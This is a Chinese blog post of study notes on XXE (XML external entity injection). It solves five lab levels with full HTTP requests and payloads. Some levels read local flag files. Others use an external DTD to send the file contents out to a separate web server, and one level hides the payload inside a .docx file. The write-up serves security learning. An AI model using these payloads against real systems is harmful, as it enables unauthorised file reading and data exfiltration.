XXE漏洞学习笔记

2021-02-07  本文已影响0人  JYQC66

XXE漏洞

简介:

XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

第一关:

抓包修改包信息:

POST /index.php HTTP/1.1

Host: x.x.x.x:54353

Content-Length: 234

Accept: application/xml, text/xml, */*;q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36

Content-Type: application/xml;charset=UTF-8

Origin: http://x.x.x.x:54353

Referer: http://x.x.x.x:54353/

Accept-Language: zh-CN,zh;q=0.9

Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [

<!ENTITY b "test">

<!ENTITY c SYSTEM "file:////opt/flag/flag1">

<!ENTITY % dtd SYSTEM "http://11.11.11.11/1.dtd">

%dtd;%send;

]>

<root><user>&b;</user><pass>&c;</pass></root>

再次修改

POST /index.php HTTP/1.1

Host: x.x.x.x:54353

Content-Length: 155

Accept: application/xml, text/xml, */*;q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198Safari/537.36

Content-Type: application/xml;charset=UTF-8

Origin: http://x.x.x.x:54353

Referer: http://x.x.x.x:54353/

Accept-Language: zh-CN,zh;q=0.9

Connection: close

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [

<!ENTITY c SYSTEM "file:////opt/flag/flag1">

]>

<root><user>&c;</user><pass>123456</pass></root>

内部DTD语法:

 <!DOCTYPEtest[

<!ELEMENT test “test”>

<!ELEMENT f SYSTEM “file:///路径”>

]>

<root><user>username</user><pass>123456

第二关:

抓包使用同样方法修改请求包:

无有效信息出现。

此处需要使用外部web服务器,同样使用靶场。

先构建一个dtd文件:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://10.0.32.165/index.html/?flag=%file;'>"> %all;

上传到nginx根目录下:

修改请求包信息:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/flag/flag2">

<!ENTITY % remote SYSTEM "http://10.0.32.165/aa.dtd">

%remote;

%send;

]>

<root><user>admin</user><pass>123456</pass></root>

查看ngnix下的access.log,发现flag。

第三关:

跟第一关一样:

抓包修复请求包:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [

<!ENTITY c SYSTEM "file:////opt/flag/flag3">

]>

<root><user>&c;</user><pass>123456</pass></root>

第四关:

同样先抓包

继续使用之前的aa.dtd文件,上传至nginx的根目录下,

修改抓到的包内容:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note[

<!ENTITY % file SYSTEM "file:///opt/flag/flag4">

<!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">

%remote;

%send;

]>

<root><user>admin</user><pass>123456</pass></root>

同样查看access.log,发现flag。

第五关:

新建word文件,内容随意,保存后关闭。修改后缀.docx为zip或其他压缩后缀,解压后如下图:

修改xml文件,插入payload:

<!DOCTYPE note2[

<!ENTITY % file SYSTEM "file:///opt/flag/flag5">

<!ENTITY % remote SYSTEM "http://10.0.105.3/aa.dtd">

%remote;

%send;

]>

重新压缩并重新命名为docx文件,上传后查看log日志即可。

上一篇下一篇

猜你喜欢

热点阅读